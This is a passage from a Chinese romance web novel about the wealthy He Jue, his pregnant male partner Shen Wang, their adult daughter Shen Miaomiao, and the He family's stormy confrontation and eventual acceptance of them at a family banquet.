孟瑜一听对方的丧气话,简直是所托非人,气恨道,“既然你知道自己不是鹤爵的对手,当年为什么又让我打着白寒书的旗号,去狠狠地刺激沈望?!” “你知不知道!鹤爵只是稍微动了动手指,就彻底毁掉了我父亲的事业!我原本也是有钱人家的小少爷,应该过锦衣玉食的生活,现在还得每天风吹日晒开大车拉货!” 对方则尽显轻蔑,言辞冷嘲热讽道,“谁让你在高中时,四处造沈望的黄.谣,包括你那个不成气候的爹,曾经觊觎沈望,还胆敢去强.奸人家?幸亏是未遂,假如成功了的话,恐怕现在连你也被鹤爵逼着去死了吧?” 孟瑜的脸一阵青红一阵紫白,脸像调色盘似的来回变幻,最终吼道,“你不是牢牢记得沈望是谁吗!!” “嘟嘟嘟” 电话那边已经彻底压掉,任由已经成为社会底层的孟瑜无力翻身,无能咆哮。 电话这边的男人,伸出手指轻松摁了几下,将讨债鬼的号码永远拉黑。 而后,起身整理身上洁白如玉的医生长袍,双手揣进兜里,迈开笔直的长腿离开房间。 屋子的走廊很漫长、幽黑,仿佛穿过一条深不见底的幽深隧道,时而路过的玻璃或者金属,能映衬出一张极为英俊的面庞。 成熟、稳重、很有几分成功人士的精英质感,同样也很危险、低调、目光深邃如同隐藏于鞘的利剑。 他打开了处于房间最内层的一道紧闭的房门,屋子里的光线惨白,与屋外的昏暗呈现出截然不同的视觉感官。 屋内面积很大,空悠悠得仿佛魔鬼的巢穴,四处放着各种医疗设备,屏幕间跃动着的低频生物电,24小时监控着生命体征。 而病床中央躺着一具又枯又白的身躯,双目凹陷面颊坍塌,仿佛一具紧紧包裹着人皮的骷髅,珍贵的生命似乎已经要走到尽头,但又被强行悬挂在头发丝间,不高不低,等待着最后一口气的咽下。 男人立在病床一侧,认真而有残忍地打量着病床上孱弱的生命,现在假如没有周围的医疗器械辅助,病床上的生命会立刻被迫停止。 男人道,“白寒书,你还不能死,知道吗?” “起码,你必须死在鹤爵的手里,而不是我的。” 不知是不是错觉,已经成为植物人的白寒书,仿佛神经元接收到某种刺激似的,产生了意外的波动,促使生命检测仪小幅度发生变化。 微乎其微。 男人将双手插进医生白袍的口袋内,紧紧攥成一双坚硬无比的拳头,纯正的黑眸中并没有任何怜惜,只有隐忍且压抑的怨恨. 鹤爵手端一本《越听越聪明,胎教好故事》,以低沉磁性的嗓音对着沈淼淼的安乐窝,富有感情地诵读。 沈望感觉他的嘴里含着气流,一点点地往自己的肚子上喷溅,又凉又痒,无奈提议,“咱们今天已经讲了好几个故事,二宝差不多该睡了。” 鹤爵合上书,问他,“要不要给你的肚皮抹点油?免得过两个月肚子太大,绷出妊娠纹来。” 沈望说,“应该不需要,我怀妙妙的时候,肚子上根本没留什么痕迹。” “你那时候营养不好,而且光顾着讨生活奔波劳累,妙妙生下来差点夭折,还住了一个月的保温箱。” 沈望如今再回想起当时的辛苦与绝望,委屈和痛苦的感情似乎减淡了不少,索性他依靠自己的坚韧勤劳撑出一片晴空,否者鹤爵哪里有现在这种机会? 鹤爵也立刻意识到问题的严重性,眸光一沉道,“我已经从徐医生的嘴中知道一切,你去黑诊所堕胎的事情,你在黑诊所生妙妙,险些一尸两命的事情,我统统知道了。” 沈望瞧他的表情十分沉重,压抑的痛苦再也绷不住,将鹤爵的整个人往深渊中拉拽,直至消亡。 沈望一把扶住他低垂的面颊,“不要陷入自我伤害中啊,你虽然有错,但我也错得很离谱,我们之间绕了那么多弯路,总算能好好得一家团聚了,你不要自顾自得往消极情绪里钻啊!” 说到消极情绪,沈望想起自己今天意外遇见了孟瑜的事情,只要想起孟瑜曾经对他做过的一切坏事,沈望恨不能立刻狠狠报复对方。 但是,他前半生的生活已经比卧薪尝黄连还要痛苦了,这些已经属于难以逆转的事实。 他的后半生只想跟鹤爵在一起,跟孩子们在一起,只有未来才是可以掌控在手中的。 善良的人们永远获得幸福,丑恶的家伙陷入地狱煎熬。 “我现在只想盘下一个店面,认认真真地赚钱,自自然然地生活。” “然后跟你一起变成糟老头子。” 鹤爵:“” “什么?”鹤爵抱住他,“救赎的话题为什么突然跑偏题了?沈先生?” 沈望被他抱着好温暖,笑着说,“因为幸福的生活才是我更想要的呀,人总是要学会往前看,不是吗?” 鹤爵想起女儿说过的,沈望原本打算开一家饭馆,其实别说一家,他只消动动嘴皮,直接能给沈望开上百家全国连锁的饭馆。 不过他知道,望崽早已经不再是当年那个只会嘤嘤嘤求保护的小可怜儿,人跟自己一样用尽全部之所能,追求理想中所希翼的生活。 鹤爵道,“你打算做生意的话,本金现在有多少,我算是在投资和风险控制上小有心得,给你提前预测规避一下。” 这简直是魔鬼级笑话,谁不知晓鹤爵掌控的经纬风投在业界属于东方不败的地位。 只有沈望不怎么关心他的工作内容罢了。 沈望拿出自己的全部积蓄,堆在鹤爵面前给他看,这是盘店收回来的部分,那是几年内辛苦积攒的部分,还有专门给妙妙预留的购房基金,不过这部分钱坚决不能乱用就是了。 鹤爵看了一下总金额,陷入沉思。 沈望说,“你什么意思?你刚才是不是笑了?” 鹤爵一脸无辜,“我没有笑,而且我怎么可能笑你呢?嘴角稍微有点痒我抠了一下而已,绝对没笑,真的。” 沈望更生气了,“你笑话我挣得少,是不是?这些钱肯定是比不上你一个月的花销了,可我也是早起晚睡,辛辛苦苦挣的家底子啊?” 鹤爵更加无辜道,“我真的没有任何鄙视的意思,况且这些钱全部是你的血汗钱,我只会特别地敬畏这些钱!” 凭这几十万打算在京城租一间像模像样的门面房,简直比掏走人民广场守门石狮子的眼珠还难。 而且,鹤爵每天的生活开销也不止这么一丁点儿吧? “我可以帮你钱生钱” “不用了,谢谢,”沈望一把揽住所有的存折银行卡,“现在天也晚了,我和二宝要睡觉了,你回自己屋去睡吧?” 鹤爵一脸震惊,“不是,我的意思是,我可以帮你把钱投入短线期货,过半年能多翻十几倍,到时候你也可以顺利地租到门面” 沈望说,“晚安!”用手指了一下卧室房门,示意关门送客。 鹤爵愈发待着不动弹,“可我晚上不搂住你,根本睡不着,淼淼也离不开我,必须跟爸爸睡” 沈望的肚子鼓了鼓,俨然二宝跟着他同仇敌忾,一起驱赶鹤爵离开。 鹤爵简直哭笑不得,单臂夹住自己的枕头,从沈望的卧房走出来,振振有词道,“我面瘫,我真没笑。” 鹤爵用了三天时间才把沈望哄好,沈望的情绪比六月的天变化还快,朝晴夕阴。 一切皆是因为激素作祟,他本身是堂堂正正的男人,虽然长了可以孕育生命的子宫,然而雌激素分泌颇低,尤其年龄也不小了。 一般这个岁数的女性生育,已经被形容成过鬼门关了,更不要提沈望目前的状况。 私人医院张院长给出的意见是,从国外邀请专注于男性生育方面的专家团队,专门过来给沈望和二宝保驾护航。 鹤爵欣然同意,并且将相关事宜交给张院长去办理。 按照鹤爵的预想,他原本是打算一辈子孑然一身,等岁数到了就把家产捐赠一部分,再给哥哥们的孩子馈赠一部分的。 现在他突然有了两个名正言顺的继承人,鹤爵这颗漂浮自由的心,瞬间吞了锁心石,牢不可摧地拴在沈望身上。 ——以后都不生了,有两个宝贝人生无憾了,以后做事必须戴套.子,再不叫望崽受苦受罪了。 鹤爵谨慎地赔小心,幸亏低眉顺眼的行为都是在家里,若是在社交场景中,必然所有人都会惊掉下巴。 鹤爵抱住沈望坐在家里吃水果,沈望的肚子又沉了一点,医生说要特别注意产夫血糖容易过高,鹤爵专门从国外空运来的有机水果,切成小块喂给对方。 赵管家突然行色匆忙,火急火燎来报告说,“少爷,少爷,大事不好,老爷带着大少爷他们杀过来了,感觉气势汹汹的,好像是出了什么大事。” 鹤爵不紧不慢给沈望递了一张湿巾纸,言道,“通知保镖多派点人手,把他们拦住都劝回去。” “拦不住啊,老爷子火气正足,恐怕少爷你这么做等于火上浇油,还是想个其他办法吧。” 鹤爵与沈望对视一眼,朝赵管家叮嘱说,“你先把沈望护送去书房坐一会儿,我先看看我那个老子今天是抽什么风?” 沈望一直没见过任何鹤家人,尤其两人还没结婚,只是按时的同居关系,也不好干预鹤家的家事,只能叮嘱鹤爵要小心一点,自己跟着赵管家先转移去了书房。 人前脚一走,后脚便听见院子里打打杀杀的。 其实主要是鹤爵七十多岁老爹,手里拿着龙头嵌玉的金拐杖,看到人就挥杆,顺便将鹤公馆里养的花花草草连瓶带盆地捣翻在地,打得支零破碎。 嘴里高声喊着,“小爵崽子,你现在给老子出来磕头谢罪!” “还有把你藏起来的男妲己给我拽出来!我今天非给你捣穿狐狸精的骚窝!” 鹤爵只听了这两耳朵,已经面色不快,站姿挺拔如松,迎风不催道,“哪里来的狐狸精?老爷子您这顿怒气究竟是冲谁来的?” 鹤老爷子一听,恰恰好,正主真的在家窝着呢,又是撂开公司不好好上班的一天,愈发气得横眉怒目,抄起手杖往博古架间一扫。 什么清朝的瓷器啊,宋朝的花瓶啊,唐朝的笔洗啊,统统砸到一片狼藉。 鹤家大少爷、二少爷、三少爷鹤慈,还有三太太文欣月一起跟在老爷子身后,纷纷朝鹤爵使眼色,示意他不要再火上浇油了。 鹤爵双手插兜,一点也不Care道,“我这些瓶瓶罐罐的少说也一个多亿了。” “是吗?!!” 鹤老爷子转身,将另外一个博古架上的瓷器也全部扫荡。 鹤爵临危不乱道,“行吧,事后您给我开张支票过来就行。” “支票你个头啊,你这个活生生的败家子!” 鹤老爷子砸完上亿的家当,完全没有解气似的,朝他发难道,“这些东西有价有市,砸完了改明天我给你再找新的就行,可是鹤爵你现在是打算拆掉我的家啊,逆子!” 说到这一句,三少爷鹤慈最有发言权,凑到老爹身边道,“爸,你也不要跟幺弟生气,他只是被人迷惑了而已,才跟咱们搞决裂的。” 这里的咱们包括:鹤大少爷鹤文,鹤二少爷鹤潜,以及被驱逐出境的鹤家宝贝鹤若妍。 文欣月怀里抱着一个胖嘟嘟的橘猫,禁不住地附和着,“小叔原本还好好的,突然打电话要跟我们全家断绝关系。” “哼!”鹤老爷子回头警告她,“把我猫抱好,不然给你好看。” 文欣月立刻偃旗息鼓,将橘猫胖蛋抱得稳稳妥妥的。 鹤爵听了半天,终于听出点意思,不禁露出让人更加生气的微笑。 “我确实说了这些话,嫂子没有讲错,而且我有我的理由。” 他的宝贝女儿,不知道会被哪位叫鹤先生的家伙害死,现在看来,鹤老爷子也很有可能。 鹤老爷子听他供认不讳,原本飙升的血压快要直逼180,双眸泛红道,“你不是这样的人,你现在讲的话完全不像话,肯定是有人故意挑拨离间,而你又被人给套牢了!才鬼使神差到要做蠢事!” “是屋子里这股味道的男妲己干得吗!!” 鹤老爷子也并非整日消闲,自己的儿子每天懒于上班,并且适时传出鹤爵与某漂亮男性出双入对的传闻。 这简直是让做爹的痛彻心扉啊! 鹤老爷子手持拐杖,字字泣血道,“你以前的风评多好,人人眼中不近美色的京城佛子,现在tmd天天浸泡在这狐狸骚气里,还tmd是沉迷男色!” “你坐怀不乱的修为呢?你不是总拿着佛珠装高洁吗?你现在究竟是在做些什么啊!” “你开始玩男人,你还跟哥哥们断绝关系,你连事业都不要了!” “我今天就要打断你的七情六欲,你不要继续做经纬的总裁了,你立刻出家做和尚去吧!” 老人家越说越激动,三个儿子异常紧张,把人扶到一旁坐下,鹤慈还快速从衣兜里掏出清凉油,给老爹抹在太阳穴上。 鹤爵不知是谁嚼的舌根,或者面前的家伙们全部都嚼了舌根。 反正他也并不在乎,慢悠悠坐在对面的沙发上,言道,“公司发展到现在,即使我不去,里面也全部是我的亲信,我花精力物力培养出来的干事,假如连正常运作都维系不到,干脆直接滚蛋好了。” 他的所言非假,他早已经培养出一大批冲锋陷阵的优秀人才帮他坚守阵地,像他这种等级的人物,假如每天还按时按点出入公司大楼,恐怕外界早传言经纬经营不善,面临倒闭了。 鹤老爷子在这件事情上做文章毫不占理,毕竟鹤爵才是真正将经纬规模扩大到几十倍的功臣,家族里等着分红的人完全没有发言权。 大哥鹤文一派老成,见幺弟分毫没有怕的,不禁主动站出来道,“老四,你知道的,爸也不是怕你把经纬给整破产了,爸其实主要是为了咱们家庭的和睦,咱们的妈妈走的早,大哥我对你是什么感情,你应该心底清楚吧?” “你怎么能说不来往就不来往呢?” 提到这个痛点,鹤二、鹤三都很有发言权,纷纷提出抗议。 鹤二:“你生下来的时候,还是我天天给你换的尿不湿,走哪里玩都把你带上,生怕你性格太冷,没人跟你做朋友。” “对,”鹤三接着道,“大哥二哥都是优秀的人才,哪一个不是国外财经大学毕业的优秀学子?经纬为什么最后交到你的手里?嗯?还不是因为大家都惯的你!” 尤其是。 “你出事的那一年,哥哥我陪你做了多少理疗,才保住你的两条腿?你小子太没良心了,大半夜给我打电话,说再也不来往,你想过我的心情吗?” 三哥鹤慈快要委屈得哭出来,他老婆文欣月小心提示,“还有咱们妍妍,也被他给发配到国外去了!心忒黑了这小子!” 话赶话说到这里。 鹤老爷子也不无伤心道,“今天咱们来只有两个目的。” “第一,你要跟三个哥哥们,包括三嫂道歉。” “第二,你跟男妖精立刻把关系断掉,好好做你的京城佛子,不要整天窝在家里了,也出去正正经经找个联姻对象,早点生个继承人出来,你瞧你都快四十岁的人了,马上那精.子还有活力吗?我像你这个岁数的时候,都已经生了四个儿子了,你真是让人一点也也不省心啊!孽障!” 文欣月连忙抱着胖橘猫,挪到鹤老爷子身后,扯了扯他的衣袖道,“爸,爸,让小叔同意妍妍回国的事情啊,你怎么把这件事情给忘掉了呢?” 鹤爵道,“爸说的是,我确实不该意气用事,这里跟三个哥哥们,还有嫂子道歉了。” 他也没起身鞠躬弯腰,坐在沙发中央,淡淡地将这件事给解决了。 鹤大:“行吧,我也没跟你真的计较。” 鹤二:“以后不要再说这种搞分裂的话了啊!” 鹤三:“你能健健康康蹦蹦跳跳全靠我呢,你再胡说八道,就让爸把你两条腿再打断!哼。” 文欣月:“我不要道歉,我要妍妍~” 鹤老爷子的怒气算是消解了一半,用手杖往地面狠狠一戳。 “你们也太容易原谅他了,还说是我惯得,分明你们几个才是罪魁祸首!” 又说,“男妖精呢!现在立刻把男妖精交出来!你也不闻闻家里的这股味道!这是人间应该有的香味吗?哪个正常男人闻了不犯迷糊啊!” 鹤爵越听越不顺耳,言道,“什么男妖精,沈望是我将来要娶的,对我来讲是最重要的人。” 说着,他觉得现在家里人太多,很不适合解释清楚。 对鹤老爷子道,“哥哥嫂子们就算了,爸,您现在跟我去书房一趟。” “去了以后,您就消气了。” 第59章 皆大欢喜 鹤老爷子原本并不打算听鹤爵的, 尤其在一众儿子面前,显得特别好摆布可不行。 然而鹤爵已经动身,并朝他示意,“来看一眼, 您就懂了。” 鹤老爷子重重咳嗽一声, 将手杖提起来道, “那就勉强信你一回,假若是敢连老子都欺骗, 今天非得拿家法伺候。” 父子俩人登上二楼, 赵管家正守在书房门口, 没有少爷的特别允许, 是不准随意出入这里的。 鹤老爷子的鼻子灵着呢,越往楼上走越能清晰得嗅见一股子无法形容的喷香气味。 老爷子年轻时也算是风流人物, 见过不少花枝招展的男女, 浑身喷洒浓郁芬芳的香水, 自以为是增加了魅力,实际上闻多了头疼还腻歪。 现在闻到的这股味道只有纯粹的香甜,不掺杂任何杂质,被柔软的肌肤恰好得温着, 熏发出一股股沁人心脾的干净。 老爷子旋即萌生退缩之意, 思忖臭小子自己被男狐狸迷得五迷三道, 现在居然还敢来陷害自己的亲爹?! 只见鹤爵打开书房屋门,朝里面喊了一声, “我爸来见见你和孩子,不要紧张。”话说得温柔入髓, 尾音蕴含着“一切有我”的韵味。 鹤老爷子的谨慎与狐疑,在听见“孩子”这个单词的瞬间, 化为乌有,甚至因为突如其来的惊讶,蓬勃成一颗即将爆炸的惊喜云。 于是,看见一脸羞涩的沈望慢吞吞走出来,被鹤爵快速地搂住,以颇为防备的架势言道,“这是沈望,我要共度一生的重要男人。” 随后,他又隆重地介绍了二宝,“这是您期待已久的金孙,现在已经有五个月,再过四个月能跟您正式见面。” 还有 “之前专门领去您那边,叫您务必想办法留在京城的沈妙妙” 鹤爵的脸上逐渐露出骄傲的神情,无论沈望怎么暗中叫他不要再讲了,他还是提高音量道,“那是我和沈望生的女儿,今年已经20岁了!” 鹤老爷子这辈子什么风浪没有见过?历史上最著名的全球股市大崩盘、金融次贷危机、某国的核电站泄露,所造成的深远影响跟他半毛钱关系也没有,然而 沈望这个人明显是个成年男性吧?!这个男人的肚子如今明显像顶着一口锅吧?!幺子居然二十年前就跟人家睡了,还生出个漂漂亮亮的小丫头,那算是他的亲孙女吧? 而且现在肚子里还怀着一个!!! 鹤老爷子脑袋里的老CPU简直快被烧报废了,整个人晕眩得要命,心底里翻涌着热滚滚的油花,但凡不够理智的火星子碰触一下,瞬间能给老头子整个人干报废了! 沈望小声说,“鹤爵,你突然给老人家讲这么多没有准备的话,是不是没有考虑过老人家的身体情况?” 赵管家连忙过去要搀扶住摇摇欲坠的人,被鹤老爷子阻挡开去,冲鹤爵冷不丁说一句,“你跟我到书房一趟。” 鹤爵看他面色沉郁,并不像是开心的模样,不过也是,老爷子的前三个儿子早已经给他生了五六个孙子,多他这一房的确实没什么可稀罕的。 只要他自己稀罕得紧就可以。 鹤老爷子拄着手杖,亦步亦趋地率先进了书房。 鹤爵也跟着进去。 门刚一关,就听见鹤老爷子爆喝一声,“畜生玩意儿!!” 奈何书房的隔音效果委实太好,余下的声音,或者激烈的争吵、或者提枪带棍的对峙,全部被严严实实地密封在内。 沈望瞬间担心起来,趴在书房门焦急地想要听到些什么动静。 赵管家将他扶在一边,耐心道,“放心吧,老爷子对咱们少爷从小就宠爱,从来舍不得真打他的。” “可是”沈望即使再着急也没有办法,他现在肚子沉沉的,浑身提不起劲儿,完全拿不出跟人在大广福打架的劲头。 不等五分钟,书房门倏然打开了。 沈望往后退了几步,迎面走出来的是慈爱祥和的鹤老爷子。 老爷子将沈望的双手拉住,充满柔和的情绪,言道,“都怪我家这个逆子,从小被家里人宠坏了,居然惹下滔天大祸!孩子都二十岁了,他也不去找,害得我的宝贝孙女在外流落几十年!” 鹤老爷子真情实感道,“小沈啊,你也真是受了不少苦,以后还麻烦你多忍耐一下他,他会好好补偿你们娘三个的。” 沈望突然不知该喜还是该忧,主要是他一个大老爷们,被人称作娘三个,不管怎么想都背脊炸毛。 鹤老爷子安抚完受惊吓的沈望,冲赵管家道,“里面那个不用管他,晚上也不准他吃饭,闭门思过去!” 又转换成笑眯眯的表情说,“等你身子还可以,带上妙妙来我这边吃饭。” 不。 “明天就过来,我把鹤家人全部叫上,有重要的事情宣告。” 沈望一听居然还要聚集全部鹤家人,内心隐隐感觉不是什么好事,可是又不敢忤逆老人家,只能看着赵管家将鹤老爷子亲自搀扶下楼。 猛地一想,怎么没见鹤爵出来,转身进入书房。 只见鹤爵跪在地面,面色惨白,乌黑的头发丝浸润了一层湿汗。 龙头嵌玉金手杖丢在地上,中间居然已经弯了一点。 沈望赶紧要扶起鹤爵,被对方阻止,自己扶住书桌颤巍巍站起身道,“没事,我爸打我没下重手。” 沈望肯定是心疼他的,掀开鹤爵背后的衬衫,并没有找到明显的痕迹,又去扯鹤爵的西装裤,被止手摁住。 鹤爵道,“没事,他知道我浑身是伤,打我是有分寸的,也就给了一杖,是我自己没有站稳。” 沈望听他讲得风轻云淡,心底愈发不踏实,言道,“还是请张院长来家里看一眼吧。” 手杖都被打弯了呀! 鹤爵依靠着沈望站直,但又不能将全部重量压在对方身上,小心翼翼地寻找支撑点,一张脸因为剧痛过境,反倒回血涨得泛红。 “我爸是气我一直端得太高,傲气过重,事后完全不去找你,更没有把妙妙早点带回家认祖归宗,让你们流落在外吃了很多苦,才打我消气。” 沈望已经从鹤老爷子的话音中猜出一二。 主要是 “你爸爸还说,明天要我带上妙妙去他那边,在所有鹤家人面前,宣布重要的事情。” 原本沈望对鹤爵的父亲满怀敬畏,如今看来,这老人家也绝非满心糊涂,最重要的是。 沈望心底还是有些惴惴难安,总觉得自己一个男人,不可能一点阻拦也没有,就能顺利进了鹤家的大门吧? 鹤爵叫他不必担心这些,现在鹤家最有话语权的人,不再是老一辈的,早已经换成自己。 现在最难搞的,反倒是沈妙妙。 孩子不肯认他啊! 鹤爵说,“你给妙妙讲一下今天发生的事情,重点把她爷爷打我的部分扩大渲染,没估计错的话,妙妙明天一定会去参加家宴的。” 不为什么一家团圆啦,认祖归宗啦,只为能亲眼看着鹤爵挨揍,亲闺女心情立刻舒爽极了。 沈望觉得他是被亲爹暴击之后糊涂了,谁想沈妙妙居然答应得极其爽快。 小姑娘第二天提着两盒跌打丸,看见鹤爵的瞬间笑而不语,只是递给沈望道,“这不是能走吗?” 鹤爵暗自苦笑着摇了摇头。 说女儿不关心他吧? 还知道买跌打丸过来探望,说女儿心里向着他吧? 真没见过沈妙妙此刻笑得像花朵一般灿烂。 归根究底,是妙妙不够信任他,对他保持着随时可以抽身离开的距离。 一家人驱车赶到鹤老爷子的住所,沈妙妙下车就看见门口排列站着不少人。 鹤老爷子怀抱胖乎乎的橘猫,领在一群衣冠楚楚的儿孙面前,显得鹤发童颜、慈爱可亲。 鹤爵老远就看他演得太过分,以手抵唇轻咳一声。 沈望立刻问他是不是伤口疼? 鹤爵转脸换成微笑,“如果你永远这样关心我,其实当反派也没什么可孤独的,顶多最后破产住马路。” 沈望揪了揪他的耳垂,吹了口气道,“我跟你现在是一根绳子上的两根蚂蚱,你要做反派的话,那我算什么?” 沈妙妙这次没坐在两人中间,倒不是不想跟爸爸贴贴,而是担心着沈望的身子越来越沉,挤在一起坐势必最不舒服的人是爸爸。 好女不跟男斗。 何况对方的脸皮从未薄过。 所以,最先下车的人也是沈妙妙,灵巧的女孩子走到哪里都招人喜欢,尤其沈妙妙穿着朴素洁白的连衣裙,衬托得人完美又不落俗套。 她冲鹤老爷子礼貌道,“鹤老先生,您好呀,好久不见。”用手指戳了戳胖橘猫的小脑瓜子,“胖蛋你现在可幸福啦,找到这么慈祥和蔼的主人善待你。” 要知道鹤老爷子一辈子不愿碰这些猫猫狗狗的,嫌弃小动物又吵又闹,还浑身掉毛。 可是胖蛋不一样,这是亲孙女送的礼物。 鹤老爷子将猫递进沈妙妙的怀里,笑眯眯说,“就辛苦妙妙帮我这老人家抱一阵这宝贝啦!” 鹤爵拥着沈望缓缓下车。 鹤老爷子瞪了儿子一眼,对沈望和蔼可亲道,“小沈来啦。” 鹤家的三个兄弟,包括自家的媳妇,孩子们,以及鹤氏族群中其他有头脸的人物,全部傻眼了。 尤其是看到沈望圆滚滚的肚子,被他们那不食人间烟火的爵爷谨慎簇拥着,宝贝着。 统统露出一脸恍然大悟的神情。 好像关于男人生孩子这件事情不是什么大事,鹤爵未来的媳妇是男人也是在可以理解的范畴。 鹤爵终于有继承人了这件事,明显更叫人振奋。 一家人众星拱月般跟在身后,眼瞅着沈妙妙抱着胖蛋,被鹤老爷子亲昵地叫来身边,无论如何要挨着沈妙妙坐。 至于鹤爵,肯定是跟沈望坐在主位上的。 其余人也满怀心事,纷纷坐在圆桌的四周。 文欣月看了眼沈妙妙,又看了眼鹤爵,包括沈望更是看了无数遍。 跟一旁的丈夫嘀咕,“今天这算什么情况?你搞清楚了吗?” 鹤慈已经被鹤老爷子警告过了,心里明镜一般清楚,言道,“还能是什么情况,就是我幺弟的两个孩子,今天要正式被老爷子认下来,准备认祖归宗啊。” 文欣月:“!!!!” 这个沈妙妙!!是小叔子的女儿???那么!!! 文欣月想起自己女儿说的宿敌沈妙妙!!居然是鹤爵的亲生女儿!!难怪她第一眼看见沈妙妙,就觉得这个孩子分明像极了鹤爵,当时还完全没有往这方面去深思呀!! 文欣月趁大家伙没有注意她,抓住餐桌上的手机,偷摸地转移去了僻静的角落,看了眼时间,推测一下M国的时间,鹤若妍这个点儿差不多刚起床。 赶紧给女儿打过去,直到鹤若妍睡眼惺忪地责怪她,究竟是什么情况,偏要给她大清早叫起床来? 文欣月不无紧张道,“你知道,你小叔叔为什么突然不愿意宠你了,还把你发配去了M国?” “你那个宿敌沈妙妙!她是你小叔的亲生女儿啊!你个笨丫头,当初我说什么来着?说她从某个角度来看,尤其像是你小叔叔!” 这下子惨了,女儿无意间招惹了沈妙妙,鹤爵骨子里那么狠,肯定不会叫鹤若妍再回到华国的。 文欣月催促说,“你现在起床,赶紧找辆迈巴赫在上面劈个叉,再拍张照片发过来,权当是跟你小叔叔求饶,臭丫头!” 鹤老爷子举杯圆桌,与鹤家所有的族人子嗣碰了杯酒,作为一族之长,发言难免冗长些,最后提到了鹤爵的名字。 不跟鹤爵碰杯,而是先敬酒给沈望,喜上眉梢道,“这第一杯酒可肯定是要先敬给小沈,他受了委屈,都是我这不孝子架子端得太高,才让小沈十几年过得辛苦,这杯酒算我替鹤爵向你赔罪!” 越是殷实的大家族,越是注重子嗣绵延,家庭和协,尤其是鹤家的产业能发展到如今这个规模,只凭着一句祖上流传下来的祖训——家和万睦。 鹤家的孩子每一个都在不同领域做着生意,即使鹤爵占据核心企业,但是哥哥们也从未心生嫉妒,这都是鹤老爷子遵守祖训的功劳。 尤其当年鹤爵被绑架九死一生,鹤家每一个人也没有轻易放弃他这一条生命。 如今更不要提沈妙妙,更是不容缺失的鹤家成员了。 沈望不能饮酒,但他也十分敬重地用果汁跟老爷子碰了杯。 鹤老爷子第二个面向的人是沈妙妙,笑着说,“刚才妙妙称呼我鹤老先生,这个称呼难免生疏了些,不知妙妙愿不愿意赏我老人家一份薄面,重新给我定位一下呢?” 沈妙妙大抵上也猜出今天来鹤家是做什么,鹤爵是鹤爵的部分,其余的鹤家人又没有招惹她,所以沈妙妙爽快地起身,端着酒杯朝老人家甜蜜蜜叫一声,“爷爷。” 一句称呼将鹤老爷子叫得热泪盈眶,连声说,“我的好孙女,我的好宝贝!” 严厉的目光洒向桌子间的所有鹤氏族人,朗声道,“这是我鹤淇的第二个宝贝孙女,跟妍妍一样,是鹤家的掌上明珠!” “但是妙妙这些年吃了太多的苦头,所以我现在的要求是,必须狠狠给我宠妙妙,全家必须每一个人都要宠,哪一个做不到,就是跟我作对!” 其余的人接连点头称是。 而后,鹤老爷子专门将目光朝向鹤爵道,“小沈肚子里的宝宝也是宠爱对象,咱们就等孩子生下来再提。” “你是妙妙的亲爹,这十几年也没给人家孩子、小沈做什么贡献。” “我现在就替你做主了,你那个经纬的总裁位置,现在直接预订给妙妙,咱们的妙妙宝贝毕业也不要去其他公司实习,你趁着现在,着手培养新的接班人吧。” 第60章 再挺两周 经纬风投是鹤氏集团的核心企业, 无论后来又扩展出其他的子企业,唯独这一块属于重中之重,更是支撑鹤氏集团的脊梁。 沈妙妙不过是一个大三学生,从小没有接受精英式教育, 更未经过任何风投方面的引导, 而且专业也彻底不对口。 让鹤爵将她当作继承人来培养, 恐怕会有些难度。 鹤老爷子见鹤爵并没有在第一时间答应下来,瞬间变得不怎么高兴, 言道, “怎么, 你舍不得啊?” 鹤爵回复, “我手里的权利,是您薪火相传传递给我手里的, 我再把这份光荣传递给下一代, 肯定是没有任何问题的。” 只不过 鹤老爷子忽略掉他的欲言又止, 直接将沈妙妙揽住,言道,“小四已经首肯了,我相信你们这些做哥哥嫂子的, 应该也没有什么异议吧?” 鹤家一直是鹤老爷子统筹大局, 取掉他的分量, 便是鹤爵最有发言权,最有地位, 肯定是没人愿意在这两人面前提一个不字的。 这仅仅是一个小插曲。 一家团圆的时光总是欢乐又充满温馨,尤其是沈望, 他从小经历坎坷,能有鹤家这一大群的人接纳他, 欢迎他成为家庭中的一员,允许他在森林之下扎根发芽,分享雨露滋养,受到应有的庇护。 用一个词语来形容,就是风雨同舟。 沈望是餍足的,不过他又有点担心鹤爵和女儿的关系,总觉得这两人的性格太像,谁都不肯轻易服输,又不肯率先退让一步,甚至有种剑拔弩张的意味。 所以饭局刚一结束就去找妙妙,打算先跟女儿谈谈心。 哪知鹤爵早已经给沈妙妙约走了,根本等不到他来从中做调解。 鹤爵从鹤老爷子的车库里开出来一辆法拉利,这辆车肯定不是给老人家开的,是他买下来暂存在车库里的。 鹤爵朝沈妙妙侧了一下头,“有没有胆量跟我飚一圈?” 沈妙妙对他家宴上的表现不是很满意,心底里暗自给亲爹安上一个葛朗台的美名。 “这大黑夜的,”沈妙妙双臂环胸,“鹤先生的岁数也不年轻了,走夜路能看清方向吗?” “那算了。”鹤爵轰了一下油门,眨眼窜出去几十米,喂了沈妙妙一嘴的车尾气。 沈妙妙气得原地冒烟,连声打了好几个喷嚏,法拉利在远处转了个弯,居然又从身后的方向钻了出来。 鹤爵依旧潇洒地打开车窗,手指敲击着方向盘,一脸挑衅道,“我这车是全球特制的,没有倒车档。” 言下之意是,没有第二次的机会。 沈妙妙拉开车门大胆地坐了进去,还将安全带捆得紧紧的,大声宣告,“我是嫌弃你这车真丑,基佬紫,太俗气了。” 鹤爵噗嗤一笑,“我确实不是基佬,只是我爱的恰好是你爸爸而已。” 根本连“坐稳”两个字都没提,一脚油门轰到200迈,如同奔驰的骏马一般一纵千里。 鹤老爷子家附近有一座公路盘桓的废弃路段,之前执意买下的是宅子附近的土地作为不动产,没想到这段九曲十八弯的旧路成了鹤爵的游戏场。 沈妙妙这辈子还真没感受过,人在300迈的速度中是一种什么样的体验,仿佛风景已经不再是关注的重点,与呼啸而过的狂风一般,拉长成乌黑发亮的线。 五感六神全部关注在心脏的律动和血管的流速上,以及脚底逐渐产生腾飞的错觉。 十几分钟后,鹤爵的车子紧急刹车,以一个完美漂移的滑动,将跑车停靠在公路的尽头,不远处便是断崖,十分凶险。 随着车轮胎与地面砾石的摩擦声暴起,连同沈妙妙的心脏一起在半空做了个抛物弧线,狠狠得撞击在肋骨,又反弹胸腔内。 “哇哦~” 小姑娘总觉的自己假如再多坐几分钟,一定会呕吐得天旋地转。 索性还好。 她还能快速地打开车窗,将泛凉的夜风灌进来,吹散满头汗涔涔的汗珠。 鹤爵抬起手腕看了眼手表,“果然老了,居然比去年慢了三分钟。” 其实最主要,他这辆车的极限速度是350迈,毕竟女儿宝贝一并坐在车里,还是在脚踩油门的时候,松了一点劲儿。 